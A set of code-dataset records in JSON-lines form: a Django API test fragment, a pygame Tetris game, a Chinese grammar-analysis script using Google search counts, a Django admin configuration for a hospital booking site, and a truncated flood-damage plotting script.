date=timezone.now()\n )\n memory.tags.add(tag)\n\n res = self.client.get(LIST_URL_MEMEORY_API)\n memories = models.Memory.objects.all()\n serializer = serializers.MemorySerializer(memories, many=True)\n\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n self.assertEqual(res.data, serializer.data)\n\n","sub_path":"memories_api/tests/test_memory_api.py","file_name":"test_memory_api.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"238119828","text":"import pygame\nfrom pygame.locals import *\nimport sys\nimport numpy as np\nimport random\nimport copy\nfrom datetime import datetime\n\n\nblock_area_size = 35 # ブロックが表示される領域サイズ\nblock_offset = 5\nblock_x_num = 15\nblock_y_num = 30\n\nwindow_size_x = block_area_size * block_x_num\nwindow_size_y = block_area_size * block_y_num\n\n\npygame.init()\nscreen = pygame.display.set_mode((window_size_x, window_size_y))\npygame.display.set_caption(\"TETRIS\")\n\n# オブジェクトの種類\n## 未設定\nEMPTY = 0\n## ブロック\nBLOCK = 2\n## 壁\nWALL = 1\n\nblock_position_x = int(block_x_num / 2) - 1\nblock_position_y = 0\n\nBLOCK_PIECE = [\n [[0, 0, 2, 0],\n [0, 0, 2, 0],\n [0, 0, 2, 0],\n [0, 0, 2, 0]], # I\n [[0, 0, 0, 0],\n [0, 2, 2, 0],\n [0, 2, 2, 0],\n [0, 0, 0, 0]], # O\n [[0, 2, 2],\n [2, 2, 0],\n [0, 0, 0]], # S\n [[2, 2, 0],\n [0, 2, 2],\n [0, 0, 0]], # Z\n [[0, 0, 2, 0],\n [0, 0, 2, 0],\n [0, 2, 2, 0],\n [0, 0, 0, 0]], # J\n [[0, 2, 0, 0],\n [0, 2, 0, 0],\n [0, 2, 2, 0],\n [0, 0, 0, 0]], # L\n [[0, 2, 0],\n [2, 2, 2],\n [0, 0, 0]]] # T\n\n\nVIEW = [[0 for i in range(block_x_num)] for j in range(block_y_num)]\nBUFFER = None\n\n\ndef makeBuffer(blockPiece, x, y):\n BUFFER = copy.deepcopy(VIEW)\n if blockPiece != None:\n for i in range(len(blockPiece)):\n for j in range(len(blockPiece[i])):\n if (x + j) >= block_x_num or (y + i) >= block_y_num:\n continue\n elif (x + j) < 0 or (y + i) < 0:\n continue\n if BUFFER[y + i][x + j] == EMPTY and blockPiece[i][j] == BLOCK:\n BUFFER[y + i][x + j] = blockPiece[i][j]\n return BUFFER\n\n\n\"\"\" ビューを表示する \"\"\"\ndef display(pygame, block_piece, x, y):\n BUFFER = makeBuffer(block_piece, x, y)\n for i in range(block_y_num):\n for j in range(block_x_num):\n if BUFFER[i][j] != EMPTY:\n pygame.draw.rect(screen, \n (255,255,255), \n Rect(block_area_size * j + block_offset, \n block_area_size * i + block_offset,\n block_area_size - 2 * block_offset,\n block_area_size - 2 * block_offset))\n\n\ndef is_stack(blockPiece, x, y):\n \"\"\"x軸内で一番最下位位にあるブロックの座標を取得\"\"\"\n mostUnderXY = {}\n for i in range(len(blockPiece)):\n for j in range(len(blockPiece[i])):\n if blockPiece[i][j] == BLOCK:\n mostUnderXY[x + j] = (y + i)\n\n for pos_x in mostUnderXY.keys():\n pos_y = mostUnderXY[pos_x]\n\n if (pos_y + 1) >= block_y_num:\n \"\"\"一番下まで到達した場合\"\"\"\n return True\n\n if VIEW[pos_y + 1][pos_x] == BLOCK:\n return True\n return False\n\n\ndef stack(blockPiece, x, y):\n if is_stack(blockPiece, x, y) == False:\n return False;\n\n for i in range(len(blockPiece)):\n for j in range(len(blockPiece[i])):\n if blockPiece[i][j] == BLOCK:\n VIEW[y + i][x + j] = BLOCK\n return True\n \n\n\ndef turn(blockPiece, x, y):\n return np.rot90(blockPiece, k=-1).tolist()\n\n\n\n\ndef is_colision(blockPiece, x, y):\n BUFFER = copy.deepcopy(VIEW) \n if x >= block_x_num or y >= block_y_num:\n return True\n for i in range(len(blockPiece)):\n for j in range(len(blockPiece[i])): \n if ((y + i) >= block_y_num or (x + j) >= block_x_num) and blockPiece[i][j] == BLOCK:\n return True\n if ((y + i) < 0 or (x + j) < 0) and blockPiece[i][j] == BLOCK:\n return True\n if (y + i) >= block_y_num or (x + j) >= block_x_num:\n continue\n if (y + i) < 0 or (x + j) < 0:\n continue\n if BUFFER[y + i][x + j] != EMPTY and blockPiece[i][j] != EMPTY:\n return True\n return False\n\n\ndef deleteLine():\n global VIEW\n for i in range(len(VIEW)):\n count = 0\n for j in range(len(VIEW[i])):\n if VIEW[i][j] == BLOCK:\n count += 1\n if count == len(VIEW[i]):\n del VIEW[i]\n VIEW = [[0] * block_x_num] + VIEW\n\n\n\n\"\"\"全コマを表示(テスト用)\"\"\"\ndef all_display(pygame):\n for i in range(block_y_num):\n for j in range(block_x_num):\n pygame.draw.rect(screen, \n (255,255,255), \n Rect(block_area_size * i + block_offset, \n block_area_size * j + block_offset,\n block_area_size - 2 * block_offset,\n block_area_size - 2 * block_offset))\n\n\n\nblockPiece = BLOCK_PIECE[random.randint(0, len(BLOCK_PIECE) - 1)]\ntime_second = datetime.now().second\n\nwhile(True):\n screen.fill((0,0,0,))\n \n if time_second != datetime.now().second:\n time_second = datetime.now().second\n if (is_colision(blockPiece, block_position_x, block_position_y + 1) == False):\n block_position_y += 1\n else:\n stack(blockPiece, block_position_x, block_position_y)\n deleteLine() \n block_position_x = int(block_x_num / 2) - 1 \n block_position_y = 0\n blockPiece = BLOCK_PIECE[random.randint(0, len(BLOCK_PIECE) - 1)]\n \n\n #pygame.draw.rect(screen, (255,255,0), Rect(0,0,20,50))\n display(pygame, blockPiece, block_position_x, block_position_y)\n pygame.display.update()\n pygame.time.wait(20)\n \n \n for event in pygame.event.get():\n if event.type == QUIT:\n sys.exit()\n if event.type == KEYDOWN:\n if event.key == K_ESCAPE:\n pygame.quit()\n sys.exit()\n elif event.key == K_w:\n while(is_colision(blockPiece, block_position_x, block_position_y + 1) == False):\n block_position_y += 1\n time_second = datetime.now().second - 1\n elif event.key == K_s:\n if is_colision(blockPiece, block_position_x, block_position_y + 1) == False:\n block_position_y += 1 \n elif event.key == K_a:\n if is_colision(blockPiece, block_position_x - 1, block_position_y) == False:\n block_position_x -= 1\n elif event.key == K_d:\n if is_colision(blockPiece, block_position_x + 1, block_position_y) == False:\n block_position_x += 1\n elif event.key == K_SPACE:\n blockPiece = turn(blockPiece, block_position_x, block_position_y)\n","sub_path":"tetris.py","file_name":"tetris.py","file_ext":"py","file_size_in_byte":6712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"618963153","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n''' \n\tpython3 version of g.py, but it seems something is wrong.\n\t\n\tCore sentence \n\t\tVersion 1: if find NN at bei uncle's level, use it. If not\n\t\t\t\t find the highest level NN in NP\n\t\t\t\t If multiple word in subject, use the one closest to bei\n\n\t\tVersion 2: find both NN at bei uncle's level and the last NN in NP\n\n\tGoogle: query google webpage.\n'''\nimport argparse\nimport json\nfrom tree import *\nfrom treeBank import *\nfrom variation import *\nfrom countGoogleScraper import *\n# from count import *\nimport time\nimport random\nimport math\n\n\n## Read into the arguments\nparser = argparse.ArgumentParser(description='analysis based on google search')\nparser.add_argument('parseTree', help='parse tree from StanfordNLP parser')\nargs = parser.parse_args()\npT = args.parseTree\n\n## For test only\n# pT = \"(ROOT (IP (NP (PN 我)) (VP (ADVP (AD 已经)) (VP (LB 被) (IP (NP (PN 你)) (VP (VV 爱) (NP (NN 过了))))))))\"\n# ----------------------\npT = \"(ROOT (IP \\\n (ADVP (AD 所以)) \\\n (NP \\\n (DNP \\\n (NP (NR 中国)) \\\n (DEG 的)) \\\n (NP (NN 美丽))) \\\n (VP (LB 被) \\\n (IP \\\n (NP (PN 我)) \\\n (VP \\\n (ADVP (AD 越来越)) \\\n (VP (VV 吸引))))))) \"\n# ----------------------\n# pT = \"(ROOT \\\n# (NP \\\n# (CP \\\n# (IP \\\n# (NP (NR 中国)) \\\n# (VP (SB 被) \\\n# (VP (VV 污染)))) \\\n# (DEC 的)) \\\n# (NP (NN 树)))) \"\n# ----------------------\n# pT = \"(ROOT \\\n# (IP \\\n# (NP (PN 我)) \\\n# (VP (LB 被) \\\n# (IP \\\n# (NP \\\n# (DNP \\\n# (ADJP (JJ 美丽)) \\\n# (DEG 的)) \\\n# (NP (NR 中国))) \\\n# (VP (VV 感动) (AS 了))))))\"\n\n# pT = \"(ROOT \\\n# (IP \\\n# (NP (PN 我)) \\\n# (VP (VV 会) \\\n# (NP \\\n# (DNP \\\n# (NP (NT 当时)) \\\n# (DEG 的)) \\\n# (NP (NN 情势))) \\\n# (VP (SB 被) \\\n# (VP (VV 吓死))))))\"\n\n## Display str lsit\ndisList = []\n\n## Create a tree\nroot = createTree(pT)\n\n## Create treeBank instance\ntB = TreeBank()\n\n## Find the pos/word pair(s) of bei\nbeiPairList = pairOfWord(\"被\", root)\nif beiPairList == []:\n\t## for communication with php\n\tprint(json.dumps([\"No 被 in the sentence, don't want to waste our time... Bye!\", \\\n\t\t\"Result: No 被 in the sentence\"])) # the latter one for display final information\n\traise SystemExit(\"No bei error\")\nelse:\n\ti = 0 # counter\n\tindex = -1 \n\tfor p in beiPairList:\n\t\tif tB.isBeiConstruction(p) != None:\n\t\t\ti = i + 1\n\t\t\tindex = contains(p, beiPairList)\n\tif i > 1:\n\t\tdisList.append(\"More than one 被 in bei-Construction, please seperate them into its own sentence.\")\n\t\tdisList.append(\"Result: More than one 被 in bei-Construction, please seperate them into its own sentence.\")\n\t\tprint(json.dumps(disList))\n\t\traise SystemExit(\"Too much 被 error\")\n\tif i == 0:\n\t\tdisList.append(\"No 被 in bei-Construction\")\n\t\tdisList.append(\"Result: No 被 in bei-Construction.\")\n\t\tprint(json.dumps(disList))\n\t\traise SystemExit(\"No bei-Construction\")\n\t# i = 1\n\tbeiPair = beiPairList[index]\n\n## Exclude bei structure used as Adj.\n# in \"被污染的树\", is (IP (被污染) (的)), delete de will delete the bei too,\n# the above example is NOT a bei-construction, even bei is tagged as BS\n# in above beiConst = ..., we delete the de structure, here we check whether bei still exist.\nnoDeSent = pairList2WordList(deleteToListWithPOS(root, [\"DEG 的\", \"DEC 的\"]))\nif contains(\"被\", noDeSent) == None:\n\tdisList.append(\"After delete de: \" + stringList2String(noDeSent))\n\tdisList.append(\"Result: This sentence is incorrect: Not a bei sentence: 被...的 structure\")\n\tprint(json.dumps(disList))\n\traise SystemExit(\"Not bei sentence Error\")\n\n# disList.append(\"The tree node containing 被 is: \" + beiPair + \"\\n\")\n\n## Find the level of bei, precondition, only ONE beiPair\nbeiLevel = findLevelOfWord(root, 0, beiPair, [])\n# disList.append(\"被 is at level \" + str(beiLevel) + \" in the parsing tree.\\n\") \n# print json.dumps([ostr0, ostr1, ostr2])\n\n## Find the list of cousins of bei's parent node\nbeiParentCousinList = findCousinsAtLevel(root, 0, beiLevel-1, [])\n# if bei parents don't have cousin, we may 1) look up grandparents, 2) declare structure error\nif len(beiParentCousinList) == 1:\n\tdisList.append(\"The parent of 被 don't have any cousin.\")\n\tdisList.append(\"Result: This sentence is incorrect: Sentence Structure Error\")\n\tprint(json.dumps(disList))\n\traise SystemExit(\"No parent cousin Error\")\n\n## Find where bei's parent in the list\t\nbeiParentIndex = hasChildWithWord(beiParentCousinList, beiPair)\n# disList.append(\"The parent generation of 被 is: \" + list2String(beiParentCousinList) + \\\n\t\t# \" And the direct parent of 被 is at index :\" + str(beiParentIndex) + \"\\n\")\n\n## Delete all node after bei's parent's node \n# (* open for question, maybe good enough for typical bei sentence *)\nbeiParentCousinList = beiParentCousinList[0:(beiParentIndex + 1)]\n# disList.append(\"Ignore everything come after the parent of 被, the new list is\" + \\\n\t# list2String(beiParentCousinList) + \"\\n\")\n\n## Find the subject of bei-construction, and generate core sentence\n# (* V1.0 if there is a pos/word pair which is noun at parent cousin's level, use it\n# else find the NP, find the first (smallest level) noun *)\n# (* V2.0 (updated 03/19) 1. put both NP and Noun in the same list;\n# subList include all parent consin's level Noun and the frist noun (smallest level and \n# closest to bei.))\n# nounNPList = findNPOrNoun(beiParentCousinList) # (V1.0)\nnounNPList = findNPAndNoun(beiParentCousinList) # (V2.0)\n\n# disList.append(\"The noun word at the parent level of 被 is \" + list2String(nounNPList[0]) + \"\\n\")\n# disList.append(\"The NP node at the parent level of 被 is \" + list2String(nounNPList[1]) + \"\\n\")\ncoreSen = [] # core sentence \nbeiConst = pairList2WordList(deleteAdv(deleteToListWithPOS(beiParentCousinList[beiParentIndex], [\"DEG 的\", \"DEC 的\"]))) # bei subtree\n\n# (* V1.0 *)\n# if len(nounNPList[0]) > 0:\n# \t# generate core sentence directly\n# \tsubList = nodeList2WordList(nounNPList[0])\n# \t## OPEN to Question: only to pick the closest one to bei\n# \tcoreSen = subList[-1:] + beiConst\n# elif len(nounNPList[1]) > 0:\n# \t# find smallest level noun\n# \tsubList = pairList2WordList(highestNoun(nounNPList[1]))\n# \t## OPEN to Question: only to pick the closest one to bei\n# \tcoreSen = subList[-1:] + beiConst\n# else:\n# \tdisList.append(\"被 sentence lask subject.\")\n# \tdisList.append(\"Result: This sentence is incorrect: Sentence lack subject\")\n# \tprint json.dumps(disList)\n# \traise SystemExit(\"No noun Error\")\n# (* V1.0 *)\n\n# (* V2.0 *)\nif len(nounNPList) > 0:\n\tsubList = []\n\tfor node in nounNPList:\n\t\tif node.data == \"NP\":\n\t\t\tnpList = pairList2WordList(highestNoun([node]))\n\t\t\tsubList.append(npList[-1])\n\t\telse:\n\t\t\tsubList.append(node.data.split()[1])\n\tcoreSen = subList + beiConst\nelse:\n\tdisList.append(\"无法确认与被字对应的名词或名词短语。\")\n\tdisList.append(\"主语缺失或受事对象不明\")\n\tprint(json.dumps(disList))\n\traise SystemExit(\"No noun Error\")\n# (* V2.0 *)\t\n\ndisList.append(\"核心句为:(The core sentence is:) \" + stringList2String(coreSen) + \"\\n\")\n\n## KEY: to generate variation from core sentence:\n# 1) change orders (with subject)\n# 2) insert * (without subject)\n# 3) delete words (more details below)\ncoreSenStr = list2SimpleString(coreSen) # original sentence\nbeiConstStr = list2SimpleString(beiConst) # orignal bei-Construction\n\n# (* Version 1: orderList = ordering(coreSen) (i.e. only move one word at a time) *)\n# orderList = partialPermu(coreSen) # (* Version 2: *)\norderList = customOrder(coreSen)\n# disList.append(\"Permutation of derived sentences are: \\n\" + stringList2String(orderList) + \"\\n\")\n\naddOneList = addWildCard(beiConst)\n# disList.append(\"Derived sentences with one wild card are: \\n\" + stringList2String(addOneList) + \"\\n\")\n\n# OPEN for questions, I feel that delete very elements is not very useful\n# opt for test delete bei only\n# deleteOneList = deleteOne(coreSen)\ndeleteOneList = deleteOneGiven(coreSen, \"被\")\n# disList.append(\"Derived sentences with one deleted are: \\n\" + stringList2String(deleteOneList) + \"\\n\")\n\n## Generate Counts\n# 1) eliminate punctuation\n# 2) remember the best choice\n# Orignal Sentence:\ndisList.append(\"Baselines: \\n\")\ndisList.append(\"Baselines\" + \" --> \"+ \"Count\" + \"\\n\")\n\ns = Search()\ns.processData(coreSenStr)\n# print coreSenStr; print s.counts\ncSCount = s.counts\ndisList.append(coreSenStr + \" --> \"+ str(cSCount) + \"\\n\")\ntime.sleep(random.uniform(10, 30))\n\ns = Search()\ns.processData(beiConstStr)\n# print coreSenStr; print s.counts\nbCCount = s.counts\ndisList.append(beiConstStr + \" --> \"+ str(bCCount) + \"\\n\")\ntime.sleep(random.uniform(10, 30))\n\nperScoreList = []\ndisList.append(\"Permutation of derived sentences are: \\n\")\ndisList.append(\"Possible candidate\" + \" --> \"+ \"Score\" + \"\\n\")\nfor order in orderList:\n\ts = Search()\n\ts.processData(order)\n\ttime.sleep(random.uniform(20, 30))\n\tscore = math.log10(s.counts/cSCount)\n\t# print order; print score\n\tperScoreList.append(score)\n\tdisList.append(order + \" --> \"+ str(score) + \"\\n\")\n\naddScoreList = []\ndisList.append(\"Derived sentences with one wild card are: \\n\")\ndisList.append(\"Possible candidate\" + \" --> \"+ \"Score\" + \"\\n\")\nfor addOne in addOneList:\n\ts = Search()\n\ts.processData(addOne)\n\ttime.sleep(random.uniform(20, 30))\n\tscore = math.log10(s.counts/bCCount)\n\t# print addOne; print score\n\taddScoreList.append(score)\n\tdisList.append(addOne + \" --> \"+ str(score) + \"\\n\")\n\ndelScoreList = []\ndisList.append(\"Derived sentences with bei deleted are: \\n\")\ndisList.append(\"Possible candidate\" + \" --> \"+ \"Score\" + \"\\n\")\nfor deleteOne in deleteOneList:\n\ts = Search()\n\ts.processData(deleteOne)\n\ttime.sleep(random.uniform(20, 30))\n\tscore = math.log10(s.counts/cSCount)\n\t# print deleteOne; print score\n\tdelScoreList.append(score)\n\tdisList.append(deleteOne + \" --> \"+ str(score) + \"\\n\")\n\ndisList.append(\"God Help me!! \\n\")\n\nprint(json.dumps(disList))\n\n","sub_path":"searchREMOTERUN/g3.py","file_name":"g3.py","file_ext":"py","file_size_in_byte":10095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"351191799","text":"\nfrom django.contrib import admin\nfrom django.db.models import Q\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.admin import UserAdmin\nfrom .forms import UserCreationForm, UserChangeForm,EmailTemplateForm\nfrom hospital.forms import CustomHospitalCreationForm\nfrom vendor.forms import CustomVendorCreationForm\nfrom setting.forms import CustomVehicleCreationForm\nfrom django.contrib.auth.models import Group\nfrom .models import User, EmailTemplate\nfrom django.utils.html import format_html\nfrom django.core.mail import send_mail\nfrom django.template import Context, Template\nfrom user.helper import get_name_by_id\nfrom hospital.models import Hospital\nfrom vendor.models import Vendor\nfrom setting.models import Vehicle\nfrom django.urls import path\nfrom django.contrib import messages\nfrom django.conf import settings\nfrom django.conf.urls import include, url\nfrom django.template.response import TemplateResponse\nfrom django.utils.translation import gettext, gettext_lazy as _\nfrom django.utils.translation import ugettext_lazy\nfrom django.shortcuts import redirect, render\nfrom .admin_view import get_vehicle_list, delete_vehicle, get_driver_list, GetUserDataByType, GetLatLongByAddress, add_booking,edit_booking,get_booking_orders,delete_booking,send_to_add_booking\nfrom django.http import HttpResponse, Http404, JsonResponse, HttpResponseRedirect\nfrom django import forms\n\n\nclass MyAdminSite(admin.AdminSite):\n index_title = ugettext_lazy('Admin')\n\n def each_context(self, request):\n \"\"\"\n Return a dictionary of variables to put in the template context for\n *every* page in the admin site.\n\n For sites running on a subpath, use the SCRIPT_NAME value if site_url\n hasn't been customized.\n \"\"\"\n self.site_title = ugettext_lazy('User')\n self.index_title = ugettext_lazy('Dashboard')\n self.site_header = ugettext_lazy('GELMEKO')\n\n script_name = request.META['SCRIPT_NAME']\n site_url = script_name if self.site_url == '/' and script_name else self.site_url\n return {\n 'site_title': self.site_title,\n 'site_header': self.site_header,\n 'site_url': site_url,\n 'has_permission': self.has_permission(request),\n 'available_apps': self.get_app_list(request),\n 'is_popup': False,\n }\n\n def get_urls(self):\n urls = super(MyAdminSite, self).get_urls()\n my_urls = [\n url('^get-vehicle/', self.admin_view(get_vehicle_list)),\n url('^delete_vehicle/', self.admin_view(delete_vehicle)),\n url('^delete_booking/', self.admin_view(delete_booking)),\n url('^get-driver/', self.admin_view(get_driver_list)),\n url('^get_user_data/', self.admin_view(GetUserDataByType)),\n url('^get_lat_long/', self.admin_view(GetLatLongByAddress)),\n path('add_booking/', self.admin_view(add_booking)),\n path('edit_booking/', self.admin_view(edit_booking)),\n url('^get-booking-orders/', self.admin_view(get_booking_orders)),\n url('^booking/booking/add/', self.admin_view(send_to_add_booking)),\n ]\n return my_urls + urls\n\nadmin_site = MyAdminSite()\n\n\nclass HospitalInline(admin.StackedInline):\n model = Hospital\n form = CustomHospitalCreationForm\n\n\nclass VendorInline(admin.TabularInline):\n model = Vendor\n form = CustomVendorCreationForm\n\n\nclass VehicleInline(admin.TabularInline):\n extra = 1\n model = Vehicle\n form = CustomVehicleCreationForm\n\n\nclass UserAdmin(UserAdmin):\n list_display_links = None \n inlines = [\n HospitalInline, VendorInline, VehicleInline\n ]\n form = UserChangeForm\n add_form = UserCreationForm\n model = User\n list_display = ('id','Name','email','status','Action')\n list_filter = ('status',)\n list_per_page = 5 # No of records per page\n fieldsets = (\n (None, {'fields': ('first_name', 'last_name',\n 'email', 'phone', 'password', 'type')}),\n # ('Permissions', {'fields': ('is_staff', 'is_active')}),\n )\n add_fieldsets = (\n ('User Details', {\n 'classes': ('wide',),\n 'fields': ('first_name', 'last_name', 'email', 'phone', 'password1', 'password2', 'is_staff', 'is_active', 'type')}\n ),\n )\n search_fields = ('email',)\n ordering = ('-type',)\n\n # def get_queryset(self, request):\n # queryset = super().get_queryset(request).filter(Q(type=4) | Q(type=3))\n # return queryset\n \n def Action(self, obj):\n edit = ' ' % (\n obj.id, obj.id)\n\n return format_html(edit)\n\n def Name(self, obj):\n get_name = get_name_by_id(obj)\n return get_name\n\n def user_type(self, obj):\n get_type = User.objects.get(id=obj.id)\n user_type = get_type.type\n if user_type == 1:\n type = 'Hospital'\n elif user_type == 2:\n type = 'Vendor'\n elif user_type == 4:\n type = 'Admin'\n else:\n type = 'User'\n\n return type\n user_type.short_description = \"Type\"\n\n def response_add(self, request, obj, post_url_continue=None):\n type = obj.type\n if type == 1:\n msg = 'Hospital User Added Successfully.'\n url = '/admin/hospital/hospital'\n elif type == 2:\n msg = 'Vendor User Added Successfully.'\n url = '/admin/vendor/vendor'\n else:\n msg = 'User Added Successfully.'\n url = '/admin/user/user'\n\n messages.add_message(request, messages.SUCCESS, msg)\n return redirect(url)\n\n def save_model(self, request, obj, form, change):\n user_type = obj.type # Type 4 = Admin ,1=Hospital ,2=Vendor ,3=User\n if user_type == 4:\n obj.is_active = 1\n obj.is_staff = 1\n else:\n obj.is_active = 0\n obj.is_staff = 0\n\n super().save_model(request, obj, form, change)\n if not change:\n sendTo = form.cleaned_data['email']\n name = form.cleaned_data['first_name'] + \\\n ' ' + form.cleaned_data['last_name']\n password = form.cleaned_data['password1']\n msg_plain = 'Login Details ' + name + ' / ' + password\n getTemplate = EmailTemplate.objects.filter(pk=1).first()\n if getTemplate != None:\n templates = Template(getTemplate.template)\n context = Context(\n {\n 'name': sendTo,\n 'password': password,\n 'site_url': settings.SITE_BASE_URL,\n 'site_name': settings.SITE_NAME\n }\n )\n msg_html = templates.render(context)\n send_mail(\n 'Registration Successfully.',\n msg_plain,\n settings.FROM_EMAIL,\n [sendTo],\n fail_silently=True,\n html_message=msg_html,\n )\n else:\n print('Template Not Found .Unable to send Email..')\n\nclass EmailTemplateAdmin(admin.ModelAdmin):\n list_display = ('name','status')\n list_filter = ('status',)\n search_fields = ('name', )\n form = EmailTemplateForm\n\nadmin_site.register(User, UserAdmin)\nadmin_site.register(EmailTemplate, EmailTemplateAdmin)\n","sub_path":"galmeko/user/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":7589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"467591628","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Feb 15 22:09:13 2020\n\n@author: insauer\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport os\nimport matplotlib.pyplot as plt\nimport cartopy\nimport cartopy.io.shapereader as shpreader\nimport cartopy.crs as ccrs\nimport matplotlib.patches as mpatches\n\n\nfig3 = plt.figure(constrained_layout=True, figsize=(8.3, 11.7))\ngs = fig3.add_gridspec(40, 15)\nplt.subplots_adjust(wspace=0., hspace=0)\n\nDATA_TSFull= pd.read_csv('/home/insauer/projects/NC_Submission/Data/postprocessing/AttributionTimeSeriesRegions.csv')\nDATA_TS= pd.read_csv('/home/insauer/projects/NC_Submission/Data/postprocessing/AttributionTimeSeriesSubregions.csv')\n\nDATA_FIT_Full= pd.read_csv('/home/insauer/projects/NC_Submission/Data/postprocessing/VulnerabilityAdjustmentMetaDataRegions.csv')\nDATA_FIT= pd.read_csv('/home/insauer/projects/NC_Submission/Data/postprocessing/VulnerabilityAdjustmentMetaDataSubregions.csv')\n\n\nDATA_ATTR_Full = pd.read_csv('/home/insauer/projects/NC_Submission/Data/postprocessing/AttributionMetaDataRegions.csv')\n\nDATA_ATTR = pd.read_csv('/home/insauer/projects/NC_Submission/Data/postprocessing/AttributionMetaDataSubregions.csv')\n\nregion_names={'GLB': 'Global (GLB)',\n 'NAM':'North America (NAM)',\n 'CHN':'Eastern Asia (EAS)',\n 'AUS':'Oceania (OCE)',\n 'LAM':'Latin America (LAM)',\n 'EUR':'Europe (EUR)',\n 'SSAF':'South & Sub-Sahara Africa (SSA)',\n 'SWEA':'South & South-East Asia (SEA)',\n 'CAS':'Central Asia & Russia (CAS)',\n 'NAFARA':'North Africa & Middle East (NAF)',}\n\nregion_abs={'GLB': 'GLB',\n 'NAM':'NAM', \n 'CHN':'EAS',\n 'LAM':'LAM', \n 'EUR':'EUR',\n 'AUS':'OCE',\n 'CAS':'CAS',\n 'SSAF':'SSA',\n 'SWEA':'SEA', \n 'NAFARA': 'NAF'}\n\nregions = list(region_names)\nr =0\n\nfor i in range(10):\n for j in range(4):\n \n DATA_regionFull = DATA_TSFull[(DATA_TSFull['Region']==regions[r]) & \n (DATA_TSFull ['Year']<2011) & (DATA_TSFull ['Year']>1979)]\n \n DATA_region = DATA_TS[(DATA_TS['Region']==regions[r]) & \n (DATA_TS['Year']<2011) & (DATA_TS['Year']>1979)]\n \n if j<3:\n \n f3_ax1 = fig3.add_subplot(gs[4*i:4*i+4,j*5:(j*5)+5])\n \n if j ==0:\n \n \n \n \n # f3_ax1.plot(DATA_regionFull['Year'], np.log10(DATA_regionFull['Impact_Pred_1thrd']), color='#8856a7', alpha = 0.5, linewidth = 1.)\n # f3_ax1.plot(DATA_regionFull['Year'], np.log10(DATA_regionFull['Impact_Pred_2thrd']), color='#8856a7', alpha = 0.5, linewidth = 1.)\n f3_ax1.plot(DATA_regionFull['Year'], np.log10(DATA_regionFull['natcat_flood_damages_2005_CPI']), label='$D_{Obs}$', color='black', linewidth = 1.) \n f3_ax1.scatter(DATA_regionFull['Year'], np.log10(DATA_regionFull['natcat_flood_damages_2005_CPI']), color='black', marker = '_', s = 1) \n f3_ax1.plot(DATA_regionFull['Year'], np.log10(DATA_regionFull['Norm_Impact_Pred']), label='$D_{Full}$', color='#8856a7', linewidth = 1.)\n \n f3_ax1.plot(DATA_regionFull['Year'], np.log10(DATA_regionFull['Norm_Impact_2y_offset']), label='$D_{CliExp}$', color='#ff7f00', linewidth = 1.)\n \n f3_ax1.plot(DATA_regionFull['Year'], np.log10(DATA_regionFull['Norm_ImpFix_2y_offset']), label='$D_{1980}$', color='#4575b4', linewidth = 1.)\n \n #f3_ax1.plot(DATA_regionFull['Year'], np.log10(DATA_regionFull['Norm_Imp2010_2y_offset']), label='$Loss2010_{Haz}$', color='mediumseagreen', linewidth = 1., linestyle ='--', alpha = 0.5)\n \n \n \n f3_ax1.fill_between(DATA_regionFull['Year'],np.log10(DATA_regionFull['Norm_Impact_Pred_1thrd_offset']) , np.log10(DATA_regionFull['Norm_Impact_Pred_2thrd_offset']), color='#8856a7', alpha=0.4, linewidth = 1.)\n if i ==5:\n \n f3_ax1.set_title(' '+ region_names[regions[r]], position = (0.5,0.78), fontsize = 7)\n \n else:\n \n f3_ax1.set_title(' '+ region_names[regions[r]], position = (0.5,0.78), fontsize = 8)\n \n if i ==0 and j ==0:\n handles, labels = f3_ax1.get_legend_handles_labels()\n leg =f3_ax1.legend(handles[:2], labels[:2], loc ='lower left', labelspacing = 0.1, frameon=True, fontsize = 8, handlelength = 1.1 ) \n f3_ax1.legend(handles[2:], labels[2:], loc ='lower right', labelspacing = 0.1, frameon=True, fontsize = 8, handlelength = 1.1)\n f3_ax1.add_artist(leg)\n\n r_lin = DATA_FIT_Full.loc[DATA_FIT_Full['Region']==regions[r], 'P_ExpVar_pred_observed'].sum()\n #r2 = DATA_FIT_Full.loc[DATA_FIT_Full['Region']==regions[r], 'New_explained_variance'].sum()\n \n else:\n \n if j ==1:\n dis = 'Pos'\n f3_ax1.set_title('{}'.format(region_abs[regions[r]]+'$_{+}$'), position = (0.5,0.78), fontsize = 8)\n else:\n dis = 'Neg'\n f3_ax1.set_title('{}'.format(region_abs[regions[r]]+'$_{-}$'), position = (0.5,0.78), fontsize = 8)\n \n #f3_ax1.plot(DATA_region['Year'], np.log10(DATA_region['Impact_Pred_1thrd_{}'.format(dis)]), color='#8856a7', alpha = 0.5, linewidth = 1.)\n #f3_ax1.plot(DATA_region['Year'], np.log10(DATA_region['Impact_Pred_2thrd_{}'.format(dis)]), color='#8856a7', alpha = 0.5, linewidth = 1.)\n \n f3_ax1.plot(DATA_region['Year'], np.log10(DATA_region['natcat_damages_2005_CPI_{}'.format(dis)]), label='Observed Flood Losses (NatCat)', color='black', linewidth = 1.) \n f3_ax1.scatter(DATA_region['Year'], np.log10(DATA_region['natcat_damages_2005_CPI_{}'.format(dis)]), label='Observed Flood Losses (NatCat)', color='black', marker = '.', s = 1) \n \n \n if not (i==1 and dis=='Pos'): \n \n \n \n f3_ax1.plot(DATA_region['Year'], np.log10(DATA_region['NormExp_Impact_2y{}_offset'.format(dis)]), label='$Loss_{HazExp}$', color='#ff7f00', linewidth = 1.)\n \n f3_ax1.plot(DATA_region['Year'], np.log10(DATA_region['NormHaz_ImpFix_2y{}_offset'.format(dis)]), label='$Loss_{Haz}$', color='#4575b4', linewidth = 1.)\n \n #f3_ax1.plot(DATA_region['Year'], np.log10(DATA_region['NormHaz_Imp2010_2y{}_offset'.format(dis)]), label='$Loss2010_{Haz}$', color='mediumseagreen', linewidth = 